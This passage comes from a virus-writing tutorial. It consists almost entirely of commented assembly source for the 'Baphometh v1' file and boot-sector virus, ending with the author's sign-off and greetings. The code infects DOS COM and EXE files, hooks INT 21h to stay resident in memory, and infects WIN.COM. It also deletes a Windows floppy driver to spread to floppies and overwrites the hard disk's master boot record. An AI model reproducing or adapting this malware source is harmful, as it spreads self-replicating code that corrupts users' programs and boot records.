mov ah,3fh ; read 1Ch bytes (the header)
lea dx,Header
mov cx,1Ch
int 21h
cmp word ptr cs:[Header],'ZM' ; EXE check
jne ExeCheck
jmp InfectEXE
ExeCheck:
cmp word ptr cs:[Header],'MZ'
jne SysCheck
jmp InfectEXE
SysCheck:
cmp word ptr cs:[Header],0ffffh ; if its a SYS file that gets executed
je CloseFile ; it exits this routine as it can't
; infect such files. SYS files begin
; with the bytes FF FF and are also
; executed with function 4Bh while
; processing the config.sys.
InfectCOM: ; routine used to infect COM files
mov ax,4202h ; set file pointer to the end
xor cx,cx
xor dx,dx
int 21h
cmp dx,0 ; if its too big - exit
ja CloseFile
push ax ; standard COM infection check
sub ax,(EndOfBaphometh - FileEntryPoint) + 3
cmp ax,word ptr cs:[Header+1]
pop ax
jne ComReadyToBeInfected
jmp CloseFile
ComReadyToBeInfected:
mov byte ptr cs:[WeAre],COM ; set the flag WeAre to COM so the virus know
; 'what it is' :-)
sub ax,3 ; calculate the new JMP at the beginning
add ax,FileEntryPoint - StartOfBaphometh
mov word ptr cs:[NewJmp+1],ax
mov ax,4202h ; seek to EOF - 2
mov cx,-1
mov dx,-2
int 21h
mov ah,3fh ; read the ENUNS (- a checksum used by
lea dx,ENUNS ; Win9x/NT COM files)
mov cx,2
int 21h
add word ptr cs:[ENUNS],EndOfBaphometh - StartOfBaphometh ; adjust
; the checksum
mov word ptr cs:[ENUNS-5],'NE'
mov word ptr cs:[ENUNS-3],'NU'
mov byte ptr cs:[ENUNS-1],'S'
mov ah,40h ; attach bapho to the end of the file
lea dx,StartOfBaphometh
mov cx,EndOfBaphometh - StartOfBaphometh
int 21h
mov ax,4200h ; go to the beginning,
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; and write the new JMP which gives control
lea dx,NewJmp ; to the virus when the file gets executed.
mov cx,3
int 21h
CloseFile:
mov ax,5701h ; restore file date/time
pop dx cx
int 21h
mov ah,3eh ; close it
int 21h
FileError:
pop cx ds dx
mov ax,4301h ; restore its attributes
int 21h
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[GoodInt24h] ; also restore the INT 24h handler
mov bx,word ptr cs:[GoodInt24h+2]
cli
mov word ptr ds:[24h*4],ax
mov word ptr ds:[24h*4+2],bx
sti
pop es ds
popa
jmp RestoreInt21h ; and exit the infection routine.
FileEntryPoint: ; this is the entry point if an infected file
push ds es ; gets executed
call Delta ; calculate the delta offset
Delta:
pop bp
sub bp,offset Delta
mov ax,0DEADh
int 21h ; installation check
cmp bx,0BCBCh
jne GoTSR
jmp ManualMBRInfection
GoTSR:
mov ax,ds
dec ax
mov ds,ax ; ds = MCB
sub word ptr ds:[3],40h*4 ; decrease memory block size in MCB and
sub word ptr ds:[12h],40h*4 ; PSP by 4KB
xor ax,ax
mov ds,ax
sub word ptr ds:[413h],4 ; also top of memory gets decreased by 4KB
mov ax,word ptr ds:[413h]
shl ax,6
mov es,ax
push cs
pop ds
lea si,[bp+StartOfBaphometh] ; copy the virus to the free memory
xor di,di
mov cx,EndOfBaphometh - StartOfBaphometh
rep movsb
; this is the manual WIN.COM infection routine,
; it is only used here because of the problem #1
; which i have described above, the virus is not
; able to infect the MBR if an infected file gets
; executed in windows. thus the virus infects
; WIN.COM, then the MBR will get infected the next
; time WIN.COM is run.
; this has been improved in version 2 of baphometh
; with the fake INT 13h call.
lea ax,[bp+ReturnHere] ; the virus will jump to the INT 21h routine with
mov word ptr es:[GoodInt21h],ax ; AH = 4BH, DS:DX = C:\WINDOWS\WIN.COM.
mov word ptr es:[GoodInt21h+2],cs ; To be able to continue execution below
mov word ptr cs:[bp+TSRVirusSegment],es ; it first sets a fake GoodInt21h
; address.
mov ah,4bh ; ah = 4bh -> execute file function
lea dx,[bp+WinDotCom] ; C:\WINDOWS\WIN.COM
pusha
push ds es
db 0eah ; JMP FAR to
dw EvilInt21h ; address of EvilInt21h
TSRVirusSegment dw ? ; segment where the virus was copied to.
ReturnHere: ; after win.com got infected execution will continue
pop es ds ; here
popa
xor ax,ax
mov ds,ax
lea ax,EvilInt21h ; hook int 21h
mov bx,es
cli
xchg ds:[21h*4],ax
xchg ds:[21h*4+2],bx
mov word ptr es:[GoodInt21h],ax
mov word ptr es:[GoodInt21h+2],bx
sti
ManualMBRInfection: ; this routine places a copy of the virus
push cs cs ; into the MBR of your first HDD
pop es ds
mov ah,41h ; here it deletes the 32bit floppy driver
lea dx,[bp+HsflopDotPdr] ; HSFLOP.PDR to be able to infect floppies
int 21h ; when they are accessed in windows.
; these 3 lines of code are the solution
; to problem #3 :-)
mov ax,0201h ; read the original MBR
mov dx,80h
mov cx,1
lea bx,[bp+EndOfBaphometh]
int 13h
lea bx,[bp+offset EndOfBaphometh] ; just to make sure, an infection
add bx,offset Marker ; check
cmp word ptr cs:[bx],'DT'
jne MBRNotYetInfected
jmp Restore
MBRNotYetInfected: ; save the partition table in the virus
lea si,[bp+EndOfBaphometh]
add si,1BEh
lea di,[bp+PartitionTable]
mov cx,40h
rep movsb
mov ax,0301h ; save the original MBR at sector 2
mov dx,80h
mov cx,2
lea bx,[bp+EndOfBaphometh]
int 13h
mov dx,80h ; overwrite the MBR with bapho's first
mov ax,0301h ; part
lea bx,[bp+StartOfBaphometh]
mov cx,1
int 13h
mov dx,80h ; and save the rest of bapho at sector
mov ax,0302h ; 3 and 4
lea bx,[bp+StartOfBaphometh]
add bx,512
mov cx,3
int 13h
Restore:
cmp byte ptr cs:[bp+WeAre],EXE ; this is the routine which gives control
je RestoreEXE ; back to the host, it checks if the
; executed file was either a COM or EXE
; file using the WeAre flag.
pop es ds
RestoreCom: ; simple COM restoring routine, just
lea si,[bp+Header] ; copy the 3 original bytes back,
mov di,100h
movsw
movsb
push 100h ; and jump to 100h (com entry point)
ret
NewJmp db 0e9h,0,0 ; just some variables...
WeAre db EXE ; initially bapho gets compiled to an EXE
WinDotCom db 'c:\windows\win.com',0 ; path's to some important files :-)
HsFlopDotPdr db 'c:\windows\system\iosubsys\hsflop.pdr',0
RestoreEXE: ; routine to restore the exe file
lea si,[bp+Original_IP] ; first copy the value from original_ip to
lea di,[bp+Old_IP] ; old_ip
mov cx,4
rep movsw
pop es ds
mov ax,es ; ax = PSP
add ax,10h ; ax + 10(paragraphs) = code/data image
; address
add word ptr cs:[bp+Old_CS],ax ; adjust the relative CS,
cli
add ax,word ptr cs:[bp+Old_SS] ; and SS values
mov ss,ax
mov sp,word ptr cs:[bp+Old_SP] ; restore SP
sti
db 0eah ; now jump to the original exe entry point.
Old_IP dw ?
Old_CS dw ?
Old_SS dw ?
Old_SP dw ?
Original_IP dw offset DummyFile
Original_CS dw 0
Original_SS dw 0
Original_SP dw 0FFFEh
InfectEXE: ; routine used to infect an exe file
cmp word ptr cs:[Header+18h],40h ; check if its a new exe file
jb NoNewEXE
jmp CloseFile ; if it is, exit because it can't infect NE/PE/LE,... files
NoNewEXE:
cmp word ptr cs:[Header+12h],'DT' ; infection check
jne EXENotYetInfected
jmp CloseFile
EXENotYetInfected: ; if not yet infected, save SS, SP, IP
mov byte ptr cs:[WeAre],EXE ; and CS, and mark the file as infected.
mov word ptr cs:[Header+12h],'DT'
mov ax,word ptr cs:[Header+0Eh]
mov word ptr cs:[Original_SS],ax
mov ax,word ptr cs:[Header+10h]
mov word ptr cs:[Original_SP],ax
mov ax,word ptr cs:[Header+14h]
mov word ptr cs:[Original_IP],ax
mov ax,word ptr cs:[Header+16h]
mov word ptr cs:[Original_CS],ax
mov ax,word ptr cs:[Header+4] ; this whole routine checks if the
; file has overlays by calculating the
cmp word ptr cs:[Header+2],0 ; the filesize from the header and by
je NoRemainder2 ; comparing it to the real filesize. if
dec ax ; they do not match the file has overlays
NoRemainder2: ; and doesn't get infected.
;
mov cx,512 ;
mul cx ;
;
add ax,word ptr cs:[Header+2] ;
adc dx,0 ;
;
mov word ptr cs:[FileSize],ax ;
mov word ptr cs:[FIleSize+2],dx ;
;
mov ax,4202h ;
xor cx,cx ;
xor dx,dx ;
int 21h ;
;
cmp word ptr cs:[FileSize],ax ;
je MightHaveNoOverlays ;
jmp CloseFile ;
MightHaveNoOverlays: ;
cmp word ptr cs:[FileSize+2],dx ;
je HasNoOverlays ;
jmp CloseFile ;
HasNoOverlays: ; if it has no overlays the infection
push ax dx ; process continues here,
add ax,EndOfBaphometh - StartOfBaphometh ; calculate a new filesize
adc dx,0 ; (old size + virus code)
;
mov cx,512 ;
div cx ;
;
cmp dx,0 ;
je NoRemainder ;
inc ax ;
NoRemainder: ;
;
mov word ptr cs:[Header+4],ax ; save new file size
mov word ptr cs:[Header+2],dx ;
pop dx ax ; calculate new entry point
;
mov cx,16 ;
div cx ;
;
add dx,offset FileEntryPoint ;
;
mov cx,word ptr cs:[Header+8] ;
sub ax,cx ;
mov word ptr cs:[Header+16h],ax ; save new CS, IP, SS, SP
mov word ptr cs:[Header+14h],dx
mov word ptr cs:[Header+0eh],ax
mov word ptr cs:[Header+10h],0fffeh
lea di,[ENUNS-5] ; when infecting an EXE the virus has
xor al,al ; to remove the string ENUNS, else the
mov cx,5 ; enuns file will crash.
rep stosb
mov ah,40h ; attach baphometh to the file
lea dx,StartOfBaphometh
mov cx,EndOfBaphometh - StartOfBaphometh
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ; go to the beginning,
mov ah,40h ; and overwrite the old header with the
lea dx,Header ; patched one
mov cx,1Ch
int 21h
jmp CloseFile ; done
DummyFile: ; this is just a dummy file, it will get executed
mov ax,4C00h ; only the first time the virus is run.
int 21h
db '- $BAPHOMETH$',0,'v1',0,'~CAD! /AVM /CB -'
ORG 1529
db 'ENUNS'
ENUNS dw ?
EndOfBaphometh:
Baphometh ends
end FileEntryPoint
--- Virus source code ends here ---
Well, I hope that this was everything you need to know to get started with BS/MBR infection.
Finally I'd like to thank CTRL-ALT-DEL for showing me how to write this type of viruses and for providing source codes of his viruses Baphometh v1 - v2.1, greets also go to Opic for helping me a bit with writing this tutorial :-)
peace, --SPo0Ky
spooky@nym.alias.net
http://mrspook.cjb.net